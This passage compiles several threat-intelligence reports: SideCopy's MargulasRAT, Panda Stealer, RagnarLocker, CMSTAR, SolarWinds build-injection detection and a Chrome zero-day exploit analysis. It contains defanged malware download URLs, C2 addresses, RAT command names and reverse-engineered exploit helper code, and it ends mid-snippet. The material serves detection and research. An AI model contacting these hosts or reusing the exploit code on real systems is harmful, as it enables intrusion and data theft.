- 46.8.198.134
- 5.206.224.167
- 61.38.252.166
- 86.105.227.115
- 92.118.188.78
- 92.118.188.78:443
- 95.217.1.81
### URLs
- 123.51.185.75/jquery-3.3.1.slim.min.js
- fuckeryoumm.nmb.bet
- hxxp://103.107.104.19/2022/eu.docx
- hxxp://103.107.104.19/DocConvDll.dll
- hxxp://103.107.104.19/FontEDL.exe
- hxxp://103.107.104.19/FontLog.dat
- hxxp://103.15.28.145:6666/maps/overlaybfpr?q=san%20diego%20ca%20zoo
- hxxp://103.75.190.50:443/maps/overlaybfpr?q=san%20diego%20ca%20zoo
- hxxp://103.85.24.158/eeas.dat
- hxxp://107.178.71.211/eu/DocConvDll.dll
- hxxp://107.178.71.211/eu/FontEDL.exe
- hxxp://107.178.71.211/eu/FontLog.dat
- hxxp://107.178.71.211/eu/Report.pdf
- hxxp://155.94.200.206/images/branding/newtap.css
- hxxp://155.94.200.206/resources/Invitation.jpg
- hxxp://155.94.200.209/assets/mail/fonts/v1/fonts/last.jpg
- hxxp://155.94.200.211/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/server.gif
- hxxp://155.94.200.211/news/live/world-europe-60830013
- hxxp://45.154.14.235/2022/COVID-19%20travel%20restrictions%20EU%20reviews%20list%20of%20third%20countries.doc
- hxxp://45.154.14.235/2022/PotPlayer.dll
- hxxp://45.154.14.235/2022/PotPlayer.exe
- hxxp://45.154.14.235/2022/PotPlayerDB.dat
- hxxp://45.154.14.235/2023/PotPlayer.dll
- hxxp://45.154.14.235/2023/PotPlayer.dll
- hxxp://45.154.14.235/2023/PotPlayer.exe
- hxxp://45.154.14.235/2023/PotPlayerDB.dat
- hxxp://45.154.14.235/mfa/Council%20conclusions%20on%20the%20European%20security%20situation.pdf
- hxxp://45.154.14.235/PotPlayer.dll
- hxxp://45.154.14.235/PotPlayer.exe
- hxxp://45.154.14.235/PotPlayerDB.dat
- hxxp://45.154.14.235/State_aid__Commission_approves_2022-2027_regional_aid_map_for_Greece.pdf
- hxxp://95.217.1.81/maps/overlayBFPR
- hxxp://95.217.1.81/maps/overlaybfpr?q=san%20diego%20ca%20zoo
- hxxp://upespr.com/PotPlayer.exe
- hxxp://upespr.com/PotPlayerDB.dat
- hxxp://upespr.com/State_aid__Commission_approves_2022-2027_regional_aid_map_for_Greece.pdf
- hxxp://www.zyber-i.com/europa/2022.zip
- hxxps://45.154.14.235/2023/EU
- hxxps://45.154.14.235/2023/PotPlayer.dll
- hxxps://45.154.14.235/2023/PotPlayer.exe
- hxxps://45.154.14.235/2023/PotPlayerDB.dat
- hxxps://drive.google.com/uc?id=1BG0F1NdkPZOY6w2Y0YEs6nMGYLvSJiQo&export=download
- hxxps://drive.google.com/uc?id=1ITPqIFuWOQZ08RmMUDMmzWpg69_EbLTO
- hxxps://drive.google.com/uc?id=1NsauYfE3NaFmtI0M99RAe3DmOxO1bBak&export=download
- hxxps://drive.google.com/uc?id=1trg9KJtKJUkKHgP57AhJSirw83-nIwyu&export=download
- hxxps://president-office.gov.mm/sites/default/files/font/All-in-One_Pyidaungsu_Font.zip
- hxxps://www.president-office.gov.mm/sites/default/files/font/All-in-One_Pyidaungsu_Font.zip |
# Cyber Security Updates
**09 March 2021**
**Why managing the human factors is crucial to a successful cyber security crisis response**
In this blog, Lorena Gutierrez discusses why a successful response to a cyber security crisis strongly relies on a number of human factors.
**08 March 2021**
**Womxn in Cyber’s latest Inspirational Womxn event**
At Womxn in Cyber, we are always looking for opportunities to uplift and celebrate the many success stories of our colleagues.
**07 January 2021**
**Why the oil and gas sector needs to stay alert to cyber security threats**
The oil and gas sector continues to play a key role in meeting today’s energy demands. Find out why the industry must stay alert to cyber security threats.
**22 December 2020**
**Why maritime cyber security regulations are vital for protecting physical safety**
The maritime sector is increasingly under attack from cyber threat actors. Find out why cyber security regulations are vital for protecting physical safety.
**23 November 2020**
**Short changed: vendors risk leaving money on the table by failing to highlight their cyber security credentials in preparation for sale**
When preparing a divestment, vendors run the risk of having their business undervalued. Cyber security tends to be an afterthought when this is being planned.
**28 October 2020**
**Six ways to reduce the risk from human-operated ransomware attacks**
Ransomware attacks are one of the most dangerous cyber threats today. This blog will highlight six ways on how you can reduce the risk of these happening.
**October 2020**
**Four cyber security principles that will help private equity funds maximise their return on investment**
A new guide published by the BVCA and supported by PwC explains the importance and nuances of cyber security within the deals lifecycle.
**18 September 2020**
**Eight ways to improve your cyber resilience after COVID-19**
In this blog we look at how businesses can evaluate and improve their cyber resilience after implementing new technologies during the COVID-19 pandemic. |
# 奇安信威胁情报中心
## 背景
2020年9月,Quick Heal披露了一起针对印度国防军和武装部队陆军人员的窃密行动并将其命名为Operation SideCopy。行动始于2019年初,其攻击者主要以复制Sidewinder APT组织的TTPs进行攻击,故被命名为Operation SideCopy。研究人员在此次活动中有如下发现:
1. 活动中几乎所有C2都属于Contabo GmbH托管服务提供商,该托管服务器在南亚地区的威胁组织中较受青睐,CrimsonRAT以及TransparentTribe其他武器都曾连接到Contabo GmbH;
2. Operation SideCopy在活动中所使用域名的命名方式与TransparentTribe非常相似,都为两三个词组成的短语;
3. Operation SideCopy与TransparentTribe攻击目标均为印度国防部。因此Quick Heal研究人员认为行动或与Transparent Tribe组织有联系。
2021年7月,Cisco Talos研究人员已将该活动背后的攻击者作为独立组织进行跟踪,并称其为SideCopy APT组织。报告中披露了该组织多种攻击武器包括CetaRAT、ReverseRAT、MargulasRAT、AllakoreRAT等,以及多款C#插件。
## 概述
近日,奇安信威胁情报中心红雨滴团队在日常威胁情报狩猎中再次捕获了一批SideCopy以印度军事相关话题为诱饵的攻击样本。在此攻击活动中,攻击者主要以印度地区恐怖分子与士兵之间的冲突事故报告为主题,将下载器伪装为图片文件并通过钓鱼邮件发送给受害者。当受害者解压并执行诱饵文件之后,程序将会从远程服务器下载数据文件到本地并解密执行,最终加载SideCopy自有远控软件MargulasRAT。
## 样本信息
本次捕获的样本主要是由C#编写,样本基本信息如下:
- 文件名:Int-Report-Poonch.exe、Wvie.exe
- MD5:d78e8943a1a2932d094957ef47956324
- 文件大小:270336 bytes
- 创建时间:2021-10-13 05:18:14
- 载荷下载站点:hxxp://www.mojochamps.com/xim/m/o.php
- C2:62.171.187.53
## 详细分析
样本将图标设置为诱饵图片,以伪装成普通图片文件引诱目标用户点击运行。原始样本是一个下载器,该下载器通过白名单的短链接将真实URL进行隐藏,以此来规避杀软的静态查杀。
短链接指向的URL如下:
- 短链接: https://tinyurl.com/pismal 真实URL: http://www.mojochamps.com/xim/l/p.php
- 短链接: https://tinyurl.com/scoscsc 真实URL: http://www.mojochamps.com/xim/l/sc.php
- 短链接: https://tinyurl.com/oooooooo0 真实URL: http://www.mojochamps.com/xim/l/o.php
通过对短链接所指向的数据进行下载以后,利用解密算法进行解密。该解密算法疑似来自amido在Github开源的Amido.PreProcessor项目。
样本首先将第一个短链接所指的数据文件下载到%AppData%/目录下并命名为taswala.txt,经解密后在同目录释放一个诱饵图片pic.png,随后启动线程打开pic.png以迷惑受害者。
同样,第二个短链接所指的加密内容被保存为khat.txt,解密后保存为p.vbs并执行,其脚本内容如下:
其主要功能是将第三段短链接解密后的wnx.exe在注册表中添加启动项,随后删除该vbs脚本。该vbs脚本疑似来自BatchPatch网站。
第三个短链接下载的加密内容解密后被保存在%ProgramData%目录下,命名为wnx.exe,其同样为C#编写。该样本实际为SideCopy常用的MargulasRAT。其通讯IP为62.171.187.53,端口为1443、2443、3443。
MargulasRAT首先和C2进行Socket连接,发送被感染机器的用户名,系统版本,主机名等信息。随后接收C2返回的信息,经AES解密后执行远控指令。
其指令对应的功能如下:
- ROKDO:停止、退出
- AURCHAH:下载执行
- NAYAKRDO:从C2接收数据写入磁盘并执行,目的为更新自身
- HAMKO:将‘HAMKO’通过AES加密后发送
- KIACHALRA:截取C2指定分辨率的屏幕截图,AES加密并发送。
## 关联分析
奇安信威胁情报中心对此次捕获样本攻击手法,代码逻辑层面分析,发现此次捕获的攻击样本与SideCopy组织常用攻击手法,恶意代码基本一致。其中远控部分与Cisco Talos早期披露的MargulasRAT也高度类似,仅更改了远控指令。
通过对同类型的样本进行溯源关联分析,我们从样本库中关联出一例与此次攻击代码几乎一致的样本,其未使用短链接进行伪装,释放的诱饵以及C2均为同一个,相关样本信息如下:
- 文件名:Document-Final-21Oct21.exe、mmbxt.exe
- MD5:1817cd95e422a9094d91c6d61c2ba8cc
- 文件大小:9728 bytes
- 创建时间:2021-10-21 06:58:01
- 载荷下载站点:hxxp://www.mojochamps.com/xim/m/o.php
- C2:62.171.187.53
同时,我们发现多例10月上传的样本,其中包括释放与印度国防政策相关诱饵图片的样本。
- 文件名:Pol-Defence.exe、mxs.exe
- MD5:3b5276a9661164dbbe866b1731da354d
- 文件大小:250368 bytes
- 创建时间:2021-09-27 06:50:20
- 载荷下载站点:hxxp://www.isteandhrapradesh.in/NewSite/Admin/try/b/m.rar
- C2:62.171.187.53
- 文件名:DPP-21-MOD.exe、Wxi.exe
- MD5:e0ecd8b53cacc7fbb6b0eadb4ba21e68
- 文件大小:250368 bytes
- 创建时间:2021-10-04 11:12:19
- 载荷下载站点:hxxp://www.isteandhrapradesh.in/NewSite/Admin/try/b/m.rar
- C2:62.171.187.53
- 文件名:Dir-M.exe、benner.exe
- MD5:0157bef5297fef8dbf2e8320790b5bae
- 文件大小:199168 bytes
- 创建时间:2021-10-04 12:54:34
- 载荷下载站点:hxxp://www.isteandhrapradesh.in/NewSite/Admin/try/b/p.rar
- C2:62.171.187.53
- 文件名:Sino-Pak-Brief-2021.exe、Sokw.exe
- MD5:e0ec2d9031e2e3a0f5097579b5455c52
- 文件大小:251392 bytes
- 创建时间:2021-10-11 04:56:32
- 载荷下载站点:hxxp://www.mojochamps.com/xim/p/p.rar
- C2:62.171.187.53
诱饵主题:时事政治相关新闻
此外,在对SideCopy组织进行溯源时我们发现,该组织有着较高的活跃度和抓热点的能力。例如本次印度热点事件发生的日期是10月11日,而10月13日便出现了以此事件为诱饵的攻击样本,可见该组织在尝试利用话题热度提高目标中招的几率。
## 总结
SideCopy作为近年来才活跃在大众视野范围内的APT组织,其攻击手法及武器代码方面与同地域组织相比都较为青涩,且大多使用网络上开源的代码及工具。但种种迹象表明,SideCopy可能和透明部落之间还存在千丝万缕的联系,奇安信威胁情报中心会对其进行长期的溯源和跟进,及时发现安全威胁并快速响应处置。
此次捕获的样本主要针对南亚地区开展攻击活动,国内用户不受其影响。奇安信红雨滴团队提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行夸张的标题的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。
若需运行,安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台进行简单判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。
目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。
## IOCs
**MD5**
- d78e8943a1a2932d094957ef47956324
- 1817cd95e422a9094d91c6d61c2ba8cc
- e0ec2d9031e2e3a0f5097579b5455c52
- e0ecd8b53cacc7fbb6b0eadb4ba21e68
- 3b5276a9661164dbbe866b1731da354d
- 0157bef5297fef8dbf2e8320790b5bae
**URL**
- hxxp://www.isteandhrapradesh.in
- hxxp://www.mojochamps.com
**C2**
- 62.171.187.53 |
# Detect and Prevent the SolarWinds Build-Time Code Injection Attack
February 17, 2021
We have developed a patent-pending technology to detect and prevent SolarWinds-style attacks before shipping binaries to production, in both on-prem and cloud environments. In order to understand how this new capability works technically, let’s briefly examine how the attack was executed and why it went unnoticed for so long.
## The Motivation
In late 2020, a complex supply chain attack against SolarWinds made headlines globally. Malicious code that implemented a back door was injected into the source code during the build process, exposing every SolarWinds customer to a significant threat. Although supply chain attacks are a known concept, this is the first disclosed detection of one at such complexity and vast scale.
Internal and external investigations of the scenario discovered that malware was running on the SolarWinds Orion IT management build environment and waiting for msbuild.exe (the C# compiler) to run. When a build process started, the malware verified that the build target was SolarWinds.Orion.Core.BusinessLayer.dll. If so, it immediately replaced the staged C# files with a version containing the back door’s code before compilation, resulting in malicious code inside. This DLL was later digitally signed, which resulted in the file avoiding significant scrutiny.
Once the build environment is penetrated, there are countless methods to influence the resulting product. While the pipeline’s input is readable (and testable) code, its output is a digitally signed binary. Comparing them in order to identify a build-level attack wasn’t possible … until now.
## The Challenge
Taking binary code and restoring it to its original source code is a practically impossible task. Compilation is a complex, non-reversible action. A compiled binary is packed with information, optimizations, and metadata that are continuously changing. Even if you take the same source code and compile it again a minute later, the binaries won’t be identical.
In addition to the non-readable binary challenge, the variety of CI/CD tools and approaches is extremely broad. These tools are used differently by every team (where each approach handles dependencies, common code, and additional resources in a unique way). Add to this the fact that the CI/CD pipeline is designed to be invisible to its users and is almost never inspected, and you get a huge DevSecOps blind spot.
## The Solution
With a deep understanding of the source code, it is possible to determine whether or not it matches the relevant binary file (based on patent-pending technology). By the time the build process starts, Apiiro will have already learned the source code and developer experience using its risk-based AI engine. Once the Apiiro platform knows all the code components, security controls, logical flows, data types, and their relations, the next phase is to analyze the binary.
Let’s take a .NET binary, for example. The Apiiro platform will parse and perform the following actions on the executable files:
- Learn all possible logic flows and symbols
- Clean out all auto-generated compiler logic
- Adjust expected differences between runtime versions
- And more…
With the normalized entity relations from the binary, Apiiro runs graph comparison algorithms against the same data it learned from the source code. Apiiro’s algorithm is also aware of all possible legitimate code changes during compilation (AOP frameworks, optimizations, etc.) and is able to distinguish only inserted malicious functionality, be it a small configuration change or full back door code.
To protect your organization from the next supply-chain attack, do not allow your vendors to deploy or upgrade their products without:
- Performing the above comparison for every compiled binary to detect source code manipulation
- Validating included dependencies, external (using a digital signature) and internal (using contextual knowledge of all the organization’s repositories)
- Comparing additional resource files, if present, to their counterparts from the source commit, taking into account potential build-time templating processes
These steps will be done simply by uploading the built binaries to the Apiiro platform using a dedicated API that can easily be integrated into every CI/CD pipeline and read-only access to the source control manager. When Apiiro performs this process at the end of every build, you get end-to-end validation that no unwanted code is injected into your product before shipping to customers.
Ariel Levy
Senior Software Engineer |
# New Panda Stealer Targets Cryptocurrency Wallets
The other infection chain involves an attached .XLS file containing an Excel formula that utilizes a PowerShell command to access paste.ee, a Pastebin alternative, that accesses a second encrypted PowerShell command. Decoding these PowerShell scripts revealed that they are used to access paste.ee URLs for easy implementation of fileless payloads. The CallByName export function in Visual Basic is used to call the load of a .NET assembly within memory from a paste.ee URL. The loaded assembly, obfuscated with an Agile.NET obfuscator, hollows a legitimate MSBuild.exe process and replaces it with its payload: the hex-encoded Panda Stealer binary from another paste.ee URL.
Once installed, Panda Stealer can collect details like private keys and records of past transactions from its victim’s various digital currency wallets, including Dash, Bytecoin, Litecoin, and Ethereum. Not only does it target cryptocurrency wallets, it can steal credentials from other applications such as NordVPN, Telegram, Discord, and Steam. It’s also capable of taking screenshots of the infected computer and exfiltrating data from browsers like cookies, passwords, and cards. It drops files under the %Temp% folder that stores stolen information under randomized file names, which are then sent to a command-and-control (C&C) server. Further analysis of its C&C server leads to a login page for "熊猫Stealer," which translates to “Panda Stealer,” but more domains have been identified with the same login page. Another 14 victims were discovered from the logs of one of these servers.
Another 264 files similar to Panda Stealer were found on VirusTotal. More than 140 C&C servers and over 10 download sites were used by these samples. Some of the download sites were from Discord, containing files with names such as "build.exe," which indicates that threat actors may be using Discord to share the Panda Stealer build. Some of the aforementioned download sites are listed below:
- hxxp://23.92.213.108/po/tai1.exe
- hxxp://83.220.175.66/build.exe
- hxxps://bingoroll2.net/chirik.exe
- hxxp://bingoroll2.net/chirik.exe
- hxxp://cryptojora.club/sosi.exe
- hxxp://f0522235.xsph.ru/build.exe
- hxxp://f0522235.xsph.ru/build2.exe
- hxxp://micromagican.com/chirik.exe
- hxxp://repairyou.com/henry.exe
- hxxp://traps.ml/build.exe
- hxxp://tydaynsosi.ru/loader/23/1kwo.txt
- hxxp://tydaynsosi.ru/loader/23/1tgk.txt
**C&C servers**
hxxp://cocojambo.collector-steal.ga/collect.php - 73
hxxp://f0522235.xsph.ru/collect.php - 4
hxxp://guarantte.xyz/collect.php - 3
hxxp://f0527189.xsph.ru/collect.php - 3
hxxp://f0527703.xsph.ru/collect.php - 2
hxxp://j1145058.myjino.ru/collect.php - 2
hxxp://1wftyu121cwr24v3hswa1234g.tk/collect.php - 2
hxxp://f0527262.xsph.ru/collect.php - 2
hxxp://steammd0.beget.tech/collect.php - 2
**Attribution**
Based on one of the active C&C servers, we have identified an IP address that we believe was used by the threat actor. We believe that this address is assigned to a virtual private server (VPS) rented from Shock Hosting, which the actor infected for testing purposes. The VPS may be paid for using cryptocurrency to avoid being traced and uses the online service Cassandra Crypter. We have reported this to Shock Hosting, and they confirmed that the server assigned to this IP address has been suspended. Another infected machine was discovered with a history of visiting a Google Drive link, which is also mentioned in a discussion about AZORult log extractor on an underground forum. The same link and unique cookie were observed on both the log dumps and the forum, therefore the user who posted on the forum must also have access to that log file.
**Similarities with other stealers**
Panda Stealer was found to be a variant of Collector Stealer, which has been sold on some underground forums and a Telegram channel. Collector Stealer has since been cracked by a Russian threat actor called NCP, also known as su1c1de. Comparing the compiled executables of the cracked Collector Stealer and Panda Stealer shows that the two behave similarly, but have different C&C URLs, build tags, and execution folders. Like Panda Stealer, Collector Stealer exfiltrates information like cookies, login data, and web data from a compromised computer, storing them in an SQLite3 database. It also covers its tracks by deleting its stolen files and activity logs after its execution.
Because the cracked Collector Stealer builder is openly accessible online, cybercriminal groups and script kiddies alike can use it to create their own customized version of the stealer and C&C panel. Threat actors may also augment their malware campaigns with specific features from Collector Stealer. We have also discovered that Panda Stealer has an infection chain that uses the same fileless distribution method as the "Fair" variant of Phobos ransomware to carry out memory-based attacks, making it more difficult for security tools to spot.
**Protect your network from spammed threats**
To protect systems against fileless threats that use spam emails as vectors, enterprises can use the Trend Micro endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. Both solutions protect users and businesses from threats by detecting malicious files and spammed messages and blocking all related malicious URLs.
**Indicators of compromise**
There were numerous files, domains, and IP addresses that were involved in this attack. Trend Micro has provided detection for the malicious artifacts found in this investigation. A partial list of the notable items is detailed below:
**SHA256**
6413be289cf38c2462bd8c6b8bad47f8d953f399e1ccba30126a1fb70d13a733 - Trojan.X97M.PANDASTEAL.AA
4ff1f8a052addbc5a0388dfa7f32cc493d7947c43dc7096baa070bfc4ae0a14e - Trojan.Win32.PHOBOS.B
0a9f466fb5526fd512dd48c3ba9551dbd342bdb314a87d5c6f730d3c80041da6 - TrojanSpy.X97M.PANDASTEAL.THDABBA
05d38ac5460418b0aa813fc8c582ee5be42be192de10d188332901157c54287c - TrojanSpy.Win32.PANDASTEAL.THDABBA
1efa74e72060865ff07bda90c4f5d0c470dd20198de7144960c88cef248c4457 - TrojanSpy.Win32.PANDASTEAL.THDABBA
**URLs**
- hxxp://23.92.213.108/po/aXSz3[.]exe
- hxxp://23.92.213.108/po/tai1[.]exe
- hxxp://prtboss.com/collect[.]php
- hxxp://biscosuae[.]com
- hxxp://prtanet[.]com
- hxxps://paste.ee/r/pLpR9
- hxxps://paste.ee/r/Qsowz
- hxxps://paste.ee/r/6toiY
- hxxp://cocojambo.collector-steal.ga/collect.php
- hxxp://f0522235.xsph.ru/collect.php
- hxxp://guarantte.xyz/collect.php
- hxxp://f0527189.xsph.ru/collect.php
- hxxp://f0527703.xsph.ru/collect.php
- hxxp://j1145058.myjino.ru/collect.php
- hxxp://1wftyu121cwr24v3hswa1234g.tk/collect.php
In early April, we observed a new information stealer called Panda Stealer being delivered via spam emails. Based on Trend Micro's telemetry, the United States, Australia, Japan, and Germany were among the most affected countries during a recent spam wave. |
# Trellix Global Defenders: Analysis and Protections for RagnarLocker Ransomware
The United States Federal Bureau of Investigation (FBI) has released a Flash Alert warning that the RagnarLocker ransomware gang has breached the networks of at least fifty-two organizations from multiple critical infrastructure sectors across the United States. This is the second FBI alert released for the RagnarLocker Ransomware variant; the last alert was released in November 2020.
The following FBI flash alerts will focus on providing indicators of compromise (IOCs) that organizations can use to detect and block RagnarLocker ransomware attacks.
**RagnarLocker ransomware** first appeared in the wild at the end of December 2019 as part of a campaign against compromised networks targeted by its operators. The actors behind RagnarLocker will perform reconnaissance on the targeted network, exfiltrate sensitive information, encrypt files, and then notify the victim that the stolen files will be released to the public if the ransom is not paid. The threat actor behind the malware is known in previous attacks to ask for millions of dollars in payment and creates a ransom note that includes the company name. The ransomware enumerates all running services on the infected host and stops services that contain a specific string. Ragnar is small compared to other malware and is written in the C/C++ programming language.
## Recommended Steps to Prevent Initial Access
The threat actors behind the RagnarLocker attacks often gain entry by compromising the company’s network via the RDP service, using brute force attacks to guess weak passwords or with stolen credentials purchased on the Dark Web.
- After gaining access, the exploitation of CVE-2017-0213 is used to elevate privileges; patching of this CVE is critical.
- Reviewing the CVEs for all Public Facing Systems – CISA regularly updates and maintains a full list of CVEs that are known to be exploited.
- Over 90% of successful cyber-attacks begin with a phishing email, a technique used by RagnarLocker. It is critical to continually monitor for spear-phishing campaigns with malicious attachments and links.
- Communication – Educating end users on what they could be receiving in their email can help them spot phishing campaigns before they click or download.
- Review Indicators of Compromise in FBI alerts and block the malicious IP addresses observed in previous attacks.
## Trellix Protections and Global Detections
Trellix Global Threat Intelligence (GTI) is currently detecting all known analyzed indicators for this campaign across their products that use the GTI threat feed.
**Blocking RagnarLocker Attacks with Endpoint Security**
Trellix ENS is currently detecting RagnarLocker Indicators of Compromise (IOCs) with signature detections and the malware behavior associated with RagnarLocker Ransomware attacks. The following Adaptive Threat Protection Rules in ENS have shown success in stopping the techniques associated with RagnarLocker. Trellix always recommends testing in Report Only Mode before blocking to confirm no false positives are detected by this behavioral rule.
- Minimum AMCore Content: 4217
- Adaptive Threat Protection Rule ID 239: Identify suspicious command parameter execution (Mitre-T1059: Identifies the suspicious execution of an application through command line parameters).
- Adaptive Threat Protection Rule ID 341: Identify and block patterns being used in Ransomware attacks in security rule group assignments.
## Detecting Malicious Activity with MVISION EDR
MVISION EDR is currently monitoring for the activity associated with RagnarLocker Ransomware and will note the MITRE techniques and any suspicious indicators related to the adversarial activity. Analysis of RagnarLocker malware samples notes the usage of native Windows APIs, Microsoft Connection Manager Profile Installer (CMSTP.exe), and the deletion of Shadow Copy to inhibit system recovery. |
# Threat Actors Target Government of Belarus Using CMSTAR Trojan
Palo Alto Networks Unit 42 has identified a series of phishing emails containing updated versions of the previously discussed CMSTAR malware family targeting various government entities in Belarus.
We first reported on CMSTAR in spear phishing attacks in spring of 2015 and later in 2016. In this latest campaign, we observed a total of 20 unique emails between June and August of this year that included two new variants of the CMSTAR Downloader. We also discovered two previously unknown payloads, which we have named BYEBY and PYLOT respectively.
## Phishing Emails
Between June and August of this year, we observed a total of 20 unique emails sent to the following email addresses:
- **press@mod.mil.by**: Press Service of the Ministry of Defense of the Republic of Belarus
- **baranovichi_eu@mod.mil.by**: Baranovichi Operational Management of the Armed Forces
- **modmail@mod.mil.by**: Ministry of Defense of the Republic of Belarus
- **admin@mod.mil.by**: Ministry of Defense of the Republic of Belarus
- **itsc@mod.mil.by**: Unknown. Likely used by Ministry of Defense of the Republic of Belarus
- **mineuvs@mod.mil.by**: Minsk Operational Administration of the Armed Forces
- **inform@mod.mil.by**: Unknown. Likely used by Ministry of Defense of the Republic of Belarus
- **uporov_milcoop@mod.mil.by**: Unknown. Likely used by Ministry of Defense of the Republic of Belarus
- **video@gpk.gov.by**: State Border Committee of the Republic of Belarus
- **armscontrol@mfa.gov.by**: International Security and Arms Control Department, Ministry of Foreign Affairs
- **ablameiko@mia.by**: Unknown. Likely used by the Ministry of Internal Affairs of the Republic of Belarus
These emails contained subject lines primarily revolving around the topic of Запад-2017 (‘West-2017’), a series of joint military exercises conducted by the Armed Forces of the Russian Federation and the Republic of Belarus, held from September 14th to 20th in 2017. The full list of subject lines is as follows:
- Fwd: Подготовка к Запад-2017 [Translation: Fwd: Preparing for the West-2017]
- выпуск воспитанников [Translation: graduation]
- К Запад-2017 [Translation: To West-2017]
- Запад-2017 [Translation: West-2017]
## Decoy Documents
We observed that the attachments used in these emails contained a mixture of file types, including RTF documents, Microsoft Word documents, and a RAR archive. The RAR archive contained a series of images, a decoy document, and a Microsoft Windows executable. The executable has a .scr file extension and is designed to look like a Windows folder.
The rough translation of the folder and file names is ‘Preparations for large-scale West-2017 exercises in this format are being held for the first time.’ Within the actual folder, there are a series of JPG images, as well as a decoy document titled ‘Thousands of Russian and Belarusian military are involved in the training of the rear services.’
While we observed different techniques being used for delivery, all attachments executed a variant of the CMSTAR malware family. The Word documents, which we track as Werow, employ malicious macros for their delivery. The RTF documents exploited CVE-2015-1641, allowing attackers to execute malicious code when opened in vulnerable instances of Microsoft Word.
## CMSTAR Variations and Payloads
In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them appears to be minor modifications made to the string obfuscation routine.
The older variation, named CMSTAR.A, was discussed in a previous blog post. The CMSTAR.B variant used a different mutex from CMSTAR.A and a slightly modified string obfuscation routine. The CMSTAR.C variant used the same mutex as CMSTAR.B but again employed another slightly modified string obfuscation routine.
We identified a total of 31 samples, with two unique payloads served from three of the C2 URLs. Both payloads contained previously unknown malware families, named PYLOT and BYEBY. Both malware families acted as backdoors, allowing the attackers to execute commands on the victim machine.
## Conclusion
During this research, we identified a phishing campaign consisting of 20 unique emails targeting the government of Belarus. The ploys used in these emails and decoy documents revolved around a joint strategic military exercise of the Armed Forces of the Russian Federation and the Republic of Belarus. We observed two new variants of the CMSTAR malware family and identified two previously unknown malware families.
Palo Alto customers are protected from this threat in the following ways:
- Tags have been created in AutoFocus to track CMSTAR, BYEBY, and PYLOT.
- All observed samples are identified as malicious in WildFire.
- Domains observed to act as C2s have been flagged as malicious.
- Traps 4.1 identifies and blocks the CVE-2015-1641 exploit used in these documents.
- Traps 4.1 blocks the macros used in the malicious Word documents.
## Appendix
### Werow Macro Analysis
The attacker used the same macro dropper in all observed Microsoft Word documents. It builds path strings to store a copy of the Word document and the dropped payload. The malware uses rudimentary obfuscation to hide and reassemble strings for persistence via the Run registry key.
### RTF Shellcode Analysis
The RTF documents delivered in this attack campaign exploit CVE-2015-1641 to execute shellcode on the targeted system. The shellcode resolves API functions and searches for the embedded payload and decoy within the initial RTF file.
### PYLOT Analysis
PYLOT begins by being loaded as a DLL with the ServiceMain export. It creates folders within the %TEMP% path and loads an embedded resource file containing configuration information. The malware collects system information and communicates with the remote host.
### BYEBY Analysis
BYEBY checks if it is running within specific paths to bypass sandboxing systems. It collects system information and uploads it to the remote C2. The malware is configured to accept various commands, which are Base64-encoded strings.
### Indicators of Compromise
**CMSTAR Variants Identified in Phishing Campaign:**
- SHA256 hashes of identified variants.
**CMSTAR Download Locations in Phishing Campaign:**
- URLs where CMSTAR was downloaded.
**PYLOT and BYEBY SHA256:**
- SHA256 hashes of identified malware families.
**CMSTAR.B and CMSTAR.C Download Locations:**
- URLs where these variants were downloaded. |
# The Zero-Day Exploits of Operation WizardOpium
**Authors**
Boris Larin
Alexey Kulaev
Back in October 2019, we detected a classic watering-hole attack on a North Korea-related news site that exploited a chain of Google Chrome and Microsoft Windows zero-days. While we’ve already published blog posts briefly describing this operation, in this blog post we’d like to take a deep technical dive into the exploits and vulnerabilities used in this attack.
## Google Chrome Remote Code Execution Exploit
In the original blog post, we described the exploit loader responsible for initial validation of the target and execution of the next stage JavaScript code containing the full browser exploit. The exploit is huge because, besides code, it contains byte arrays with shellcode, a Portable Executable (PE) file, and a WebAssembly (WASM) module used in the later stages of exploitation. The exploit abused a vulnerability in the WebAudio OfflineAudioContext interface and was targeting two release builds of Google Chrome 76.0.3809.87 and 77.0.3865.75. However, the vulnerability was introduced long before that, and much earlier releases with a WebAudio component are also vulnerable. At the time of our discovery, the current version of Google Chrome was 78, and while this version was also affected, the exploit did not support it and had a number of checks to ensure that it would only be executed on affected versions to prevent crashes. After our report, the vulnerability was assigned CVE-2019-13720 and was fixed in version 78.0.3904.87.
A use-after-free (UAF) vulnerability could be triggered due to a race condition between the Render and Audio threads:
```cpp
if (!buffer) {
BaseAudioContext::GraphAutoLocker context_locker(Context());
MutexLocker locker(process_lock_);
reverb_.reset();
shared_buffer_ = nullptr;
return;
}
```
As you can see, when the audio buffer is set to null in ConvolverNode and an active buffer already exists within the Reverb object, the function SetBuffer() can destroy `reverb_` and `shared_buffer_` objects.
```cpp
class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
std::unique_ptr<Reverb> reverb_;
std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...
};
```
These objects might still be in use by the Render thread because there is no proper synchronization between the two threads in the code. A patch added two missing locks (graph lock and process lock) for when the buffer is nullified.
The exploit code was obfuscated, but we were able to fully reverse engineer it and reveal all the small details. By looking at the code, we can see the author of the exploit has excellent knowledge of the internals of specific Google Chrome components, especially the PartitionAlloc memory allocator. This can clearly be seen from the snippets of reverse-engineered code below. These functions are used in the exploit to retrieve useful information from internal structures of the allocator, including: SuperPage address, PartitionPage address by index inside the SuperPage, the index of the used PartitionPage, and the address of PartitionPage metadata. All constants are taken from `partition_alloc_constants.h`:
```javascript
function getSuperPageBase(addr) {
let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
let superPageBaseMask = ~superPageOffsetMask;
let superPageBase = addr & superPageBaseMask;
return superPageBase;
}
function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
let superPageBase = getSuperPageBase(addr);
let partitionPageBase = partitionPageIndex << BigInt(14);
let finalAddr = superPageBase + partitionPageBase;
return finalAddr;
}
function getPartitionPageIndex(addr) {
